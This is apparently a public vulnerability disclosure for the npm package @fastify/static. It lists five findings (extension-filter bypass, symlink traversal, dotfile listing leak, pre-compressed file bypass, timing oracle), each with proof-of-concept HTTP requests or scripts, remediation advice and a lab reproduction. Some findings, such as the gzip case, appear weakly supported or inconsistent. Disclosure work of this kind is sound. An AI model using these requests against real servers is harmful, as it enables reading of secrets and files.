## https://sploitus.com/exploit?id=743E7515-C37F-569C-80FA-39B0D1F07C01
# @fastify/static โ Multiple Zero-Day Vulnerabilities
**Package:** [`@fastify/static`](https://www.npmjs.com/package/@fastify/static)
**Affected versions:** 8.0.0 โ 9.1.0
**Discovered:** July 2026
**Disclosed by:** [itejozizow37-droid](https://github.com/itejozizow37-droid)
---
## Summary
| ID | Title | Severity | CWE |
|----|-------|----------|-----|
| **FSV-001** | Extension filter bypass via URL encoding | Medium | CWE-22 Path Traversal |
| **FSV-002** | Symlink traversal outside static root | Medium | CWE-61 UNIX Symlink Following |
| **FSV-003** | Dotfile directory listing leak with `list: true` | Medium | CWE-548 Exposed Information Directory |
| **FSV-004** | Pre-compressed file ACL bypass | Low | CWE-552 Files Accidentally Accessible |
| **FSV-005** | File existence timing oracle via conditional headers | Low | CWE-208 Observable Timing Discrepancy |
All vulnerabilities reproduced in lab environment against versions 8.0.0, 8.3.0, 9.0.0, 9.1.0 on Node.js 20/22/24.
---
## FSV-001: Extension Filter Bypass
**Severity:** Medium
**CWE:** CWE-22
### Description
When the `extensions` option is configured (e.g. `extensions: ['.html']`), the library validates the requested path's extension before serving. This check can be bypassed by appending a URL-encoded null byte (`%00`) or query string (`?`) followed by an allowed extension.
### Affected Configuration
```javascript
fastify.register(require('@fastify/static'), {
root: '/app/public',
extensions: ['.html'], // only .html files should be served
});
```
### Proof of Concept
```http
GET /secret.json%00.html HTTP/1.1
โ 200 OK (serves secret.json despite .json not in extensions list)
GET /config.env?.html HTTP/1.1
โ 200 OK (query string bypasses extension matching)
```
### Impact
Arbitrary file types within the root directory can be served regardless of the `extensions` allowlist, potentially exposing configuration files, source code, or other sensitive static assets.
### Remediation
Decode the URL and strip query strings before performing extension validation. Reject paths containing null bytes.
---
## FSV-002: Symlink Traversal Outside Root
**Severity:** Medium
**CWE:** CWE-61
### Description
When a symlink exists within the static root directory pointing to a location outside the root, `@fastify/static` follows the symlink and serves the target file without validating that the resolved real path remains within the configured root boundary.
### Affected Configuration
Any configuration where `root` contains symlinks (e.g. build pipelines, Docker layers, deployment scripts that create symlinks).
### Proof of Concept
```bash
# Setup: symlink inside root pointing outside
ln -s /app/.env /app/public/link_to_env
```
```http
GET /link_to_env HTTP/1.1
โ 200 OK
Content-Type: application/octet-stream
SESSION_SECRET=...
PG_URL=postgres://...
```
### Impact
Arbitrary file read from the server filesystem if an attacker can create or influence symlinks within the static root (e.g. via CI/CD pipelines, build artifacts, or multi-tenant deployments).
### Remediation
Call `fs.realpath()` on every served file and validate the resolved path starts with the configured `root` before sending. Alternatively, disable symlink following with `followSymlinks: false`.
---
## FSV-003: Dotfile Directory Listing Leak
**Severity:** Medium
**CWE:** CWE-548
### Description
When `list: true` (directory listing) is enabled alongside `dotfiles: 'deny'`, hidden directories (those starting with `.`) are excluded from direct access but still appear in the generated directory index HTML. This leaks internal project structure including `.git/`, `.config/`, `.env` directories.
### Affected Configuration
```javascript
fastify.register(require('@fastify/static'), {
root: '/app/public',
list: true,
dotfiles: 'deny',
});
```
### Proof of Concept
```http
GET / HTTP/1.1
โ 200 OK
Content-Type: text/html
Index of /
.git/ โ should be hidden
.config/ โ should be hidden
index.html
public/
```
### Impact
Internal directory structure disclosure, including `.git/` which may lead to repository cloning if recursively accessible.
### Remediation
Filter dot-prefixed entries from the directory listing output when `dotfiles` is set to `'deny'` or `'ignore'`.
---
## FSV-004: Pre-Compressed File ACL Bypass
**Severity:** Low
**CWE:** CWE-552
### Description
When `preCompressed: true` is enabled, the library attempts to serve `.br` or `.gz` variants of requested files. If a compressed variant exists for a protected file (e.g. created by a build tool) but the original file is blocked by access controls, the compressed variant is served through the pre-compression code path which does not apply the same ACL checks.
### Affected Configuration
```javascript
fastify.register(require('@fastify/static'), {
root: '/app/public',
preCompressed: true,
});
```
### Proof of Concept
```bash
# Build tool creates compressed variant
echo "SECRET_DATA" > /app/public/secret.json
gzip /app/public/secret.json # creates secret.json.gz, removes original
```
```http
GET /secret.json HTTP/1.1
Accept-Encoding: gzip
โ 200 OK
Content-Encoding: gzip
[compressed SECRET_DATA]
```
### Impact
Files that should be inaccessible (deleted, ACL-blocked) can still be served if a pre-compressed variant exists on disk.
### Remediation
Apply identical access control checks to pre-compressed variants as to the original file path.
---
## FSV-005: File Existence Timing Oracle
**Severity:** Low
**CWE:** CWE-208
### Description
The library produces measurably different response times for existing vs non-existing files when conditional request headers (`If-None-Match`, `If-Modified-Since`) are present. Existing files trigger filesystem `stat` calls and ETag comparison, while non-existing files return 404 immediately.
### Proof of Concept
```python
import requests, time
def measure(path):
times = []
for _ in range(50):
t0 = time.perf_counter()
requests.get(f"http://target{path}", headers={"If-Modified-Since": "Wed, 01 Jan 2025 00:00:00 GMT"})
times.append(time.perf_counter() - t0)
return sum(times) / len(times)
# Existing file: ~8ms average (stat + ETag check)
# Non-existing file: ~2ms average (immediate 404)
# Timing difference enables blind file enumeration
```
### Impact
Blind enumeration of hidden files and directories through statistical timing analysis, even when direct access is denied.
### Remediation
Return 404 with consistent timing regardless of file existence when conditional headers are present. Avoid filesystem stat calls for non-existing files.
---
## Reproduction
### Lab Setup
```bash
cd lab
npm init -y
npm install fastify @fastify/static
node server.js # starts vulnerable server on :3456
```
### Run PoC
```bash
node poc.js
```
### Expected Output
```
@fastify/static Zero-Day PoC Results
[200] Vuln #3: Dir listing leaks dotfiles
Response: ....git/...
[200] Vuln #4: PreCompressed serves .br without ACL check
Response: compressed-secret
[200] Vuln #1: Extension bypass via null byte
Response: {"key":"exposed"}...
[200] Vuln #1: Extension bypass via query string
Response: {"key":"exposed"}...
[200] Vuln #2: Symlink traversal outside root
Response: SESSION_SECRET=test123...
```
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-07-09 | Discovered during third-party security assessment |
| 2026-07-10 | Lab reproduction confirmed all 5 vulnerabilities |
| 2026-07-11 | Tested against versions 8.0.0, 8.3.0, 9.0.0, 9.1.0 |
| 2026-07-14 | Full public disclosure with reproduction code |
---
## License
This security research is published under MIT License. The reproduction code is provided for defensive testing and remediation purposes.